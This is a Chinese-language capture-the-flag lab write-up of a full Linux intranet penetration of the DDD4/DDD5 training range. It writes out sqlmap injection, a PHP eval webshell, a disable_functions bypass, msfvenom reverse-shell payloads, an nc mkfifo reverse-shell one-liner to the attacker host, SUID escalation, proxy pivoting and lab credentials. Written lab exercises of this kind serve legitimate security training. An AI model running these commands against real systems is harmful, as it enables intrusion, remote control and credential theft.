打靶日记(二)linux内网完整渗透测试

打靶日记(二)linux内网完整渗透测试

声明:此系列文章系个人记录打靶过程的文章,靶场为暗月师傅的靶场。这是第二篇。

1. DDD4 靶场介绍

本靶场存在三个 flag 把下载到的虚拟机环境导入到虚拟机,本靶场需要把网络环境配置好。

1.1.网络示意图

image

2.信息收集

2.1主机发现

1
netdiscover -i eth0 -r 192.168.1.0/24

image

2.2端口探测

1
masscan -p 1-65535 192.168.1.122  --rate=10000

image

2.3.nmap 端口信息获取

1
nmap -sC -p 3306,80,8888,21,888 -A 192.168.1.122 -oA ddd4-port

image

2.4gobuser 的高级用法

1
gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard -l | grep -v 10430 | grep -v "Size: 49"

3. 对目标进行渗透测试

3.1sqlmap编码注入利用

1
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

image

1
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com --dump -T doc_user

image

1
2
webadmin 
admin 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

明文是加密的解不开的

 

3.2.MYSQL 服务器恶意读取客户端文件漏洞利用

Rogue-MySql-Server 读取文件

1
2
https://github.com/allyshka/Rogue-MySql-Server 
vim rogue_mysql_server.py

image

1
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.8.133&action=chkdb

获取报错路径

image

获取 /etc/passwd 内网

image

3.3.Rogue-MySql-Server 读取配置文件

1
/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

image

image

得到数据库连接文件

1
2
3
dbname www_ddd4_com 
username www_ddd4_com
password x4ix6ZrM7b8nFYHn

3.4登录 mysql

1
mysql -h192.168.8.122 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

image

3.5后台密文登录

密文不能直接破解,只能替换登录登录之后再替换回来,修改程序生成密文 admin 的明文为

1
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a80 1yc3d0

数据库修改密文

原来的密文

1
33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0
1
2
3
4
show databases;
use www_ddd4_com
update doc_user set pwd
='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;

image

http://www.ddd4.com/admini/login.php

admin admin

成功登录后台。

image

 

3.6后台上传漏洞

1
2
admini\controllers\system\bakup.php 
function uploadsql() { global $request; $uploadfile=basename($_FILES['uploadfile']['name']); if($_FILES['userfile']['size']>$request['max_file_size']) echo 'alert(" 您 上 传 的 文 件 超 出 了 2M 的 限 制!");window.history.go(-1);'; if(fileext($uploadfile)!='sql') echo 'alert(" 只 允 许 上 传 sql 格 式 文 件!");window.history.go(-1);'; $savepath = ABSPATH.'/temp/data/'.$uploadfile; 暗月内部培训资料 if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath)) { echo 'alert(" 数 据 库 SQL 脚 本 文 件 上 传 成 功!");window.history.go(-1);'; } else { echo 'alert(" 数 据 库 SQL 脚 本 文 件 上 传 失 败!");window.history.go(-1);'; } }

存在逻辑问题 上传 SQL 判断没有退出 导致可上传任何文件 数据包

3.7模板编辑拿 webshell

1
<?php eval($_POST['cmd']);?>

image

输入之后,直接按下ctrl+s即可“编辑成功”

验证是否可用,访问首页,给其进行传参

image

使用中国菜刀连接

image

 

4.Linux权限提升

4.1突破 disable_functions 提权

这套新系统的宝塔系统 php 禁止很多函数的执行

1
2
3
4
5
6
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,i
ni_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_w
aitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pc
ntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get
_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exe
c,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

有些版本还是漏了一些函数可以执行

查看网卡信息

1
http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image

反弹shell失败

image

4.2.metasploit 反弹 shell

4.2.1.生成攻击载荷

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.133 LPORT=13777 -f elf >/root/moonsec/2020/project5/ddd4

image

4.2.2监听端口

1
2
3
4
5
6
Msfconsole
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.8.133
set lport 13777
run

image

4.2.3成功监听 shell

将文件上传到添加执行权限,在目录执行即可

1
2
3
4
http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod%20777%20ddd4&outpath=
/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
http://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath=
/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image

输入shell

切换到shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

image

4.3建立交互shell

1
2
3
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.133 9001 >/tmp/f
nc -lvnp 9001
python -c 'import pty;pty.spawn("/bin/bash")'

image

image

image

4.4查看用户

1
cat /etc/passwd | grep bash

image

4.5获取第一个flag

1
cat /home/host123/flag.txt

image

4.6通过宝塔提权到root

翻找目录从桌面找到一个敏感文件

1
/home/host123/bt.txt

image

1
2
3
4
5
www@host123:/$ cat /home/host123/bt.txt
cat /home/host123/bt.txt
Bt-Panel: http://116.27.229.43:8888/944906b5
username: gpeqnjf4
password: d12924fa

登录地址:http://192.168.8.122:8888/944906b5/

 

image

 

 

image

image

image

4.6通过 suid 提权到 root

1
find / -type f -perm -u=s 2>/dev/n

image

image

1
find inc -exec whoami \;

image

1
find . -exec /bin/sh -p \; -quit

image

4.8.linux 三大信息收集脚本的使用和解释

4.8.1.LinEnum 的使用

这个脚本是用来收集系统的信息 如 特殊文件的权限 suid 文件信息 网络端口信息 建立 WEB 服务器

1
2
3
4
sudo python -m SimpleHTTPServer 80 
下载文件执行 wget http://192.168.0.109/LinEnum.sh
chmod +x LinEnum.sh
./ LinEnum.sh

image

image

历史记录找到 root 密码 yanisy123

4.8.2.linux-exploit-suggester.sh的使用

这个用来检测是否存在提权 cve 漏洞

image

4.8.3.linuxprivchecker.py

这个用来检测权限

python linuxprivchecker.py

image

su host123

输入密码之后,查看当前用能执行的命令

sudo -l

image

4.10获取第二个flage

image

 

 

 

5. linux 内网跨网段渗透

5.1.获取高权限的 meterpreter

先用 metasploit 反弹一个 root 权限的 meterpreter

1
msf5 exploit(multi/handler) > exploit -j 放在后台执行

image

5.2网卡路由信息获取

image

1
run get_local_subnets

image

5.3查看 host 文件

1
cat /etc/hosts

image

5.4metasploit 设置代理进入内网

1
run autoroute -s 10.10.10.0/24

image

5.4.1启动 socks 模块

1
2
use auxiliary/server/socks_proxy
set SRVPORT 22333

image

启动代理

image

5.4.2设置 proxychains 代理进内网

1
vim /etc/proxychains4.conf

image

1
proxychains nmap -sT -Pn 10.10.10.144

image

5.5对 www.ddd5.com 进行检测

Kali中添加hosts 

image

5.5.1.设置浏览器代理访问

1
proxychains firefox http://www.ddd5.com

image

image

发现是 emlog 后台默认密码 123456 即可登录。

Msf的代理不够稳定,我们自己搭建一个代理来访问。

Kali上操作:

1
2
3
4
5
tar zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd /src
./rcsocks -l 2233 -p 1080 -vv

受害机操作:

1
2
3
4
5
tar zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd /src
./rssocks -vv -s 192.168.8.133:1080

image

 

5.5.2后台拿 WEBSHELL

从网上下来一个 emlog 把带有后门文件的 php 设置打包好在 emlog 后台上传模板压缩包解压后即可在模板名的目录生成一个 php 后门。

image

1
2
3
www.ddd5.com/content/templates/moonsec/moon.php
www.ddd5.com/content/templates/moonsec/shell.php
www.ddd5.com/content/templates/moonsec/1.php

image

 

image

image

中国蚁剑设置代理连接

image

6.linux 内网跨网段提权

6.1wdcp主机提权

访问地址:10.10.10.144:8080/phpMyAdmin

image

输入账号:root  密码:wdlinux.cn

登录成功

image

Echo -n 123456 | md5sum

 

image

使用修改后的密码:123456,登录成功(如果一直登录不上,可能是运行web的系统的时间和本机的时间不一致)

image

 

image

生成密钥

image

1
在 kali 设置权限 600 proxychains ssh root@10.10.10.144 -i sshkey_wdcp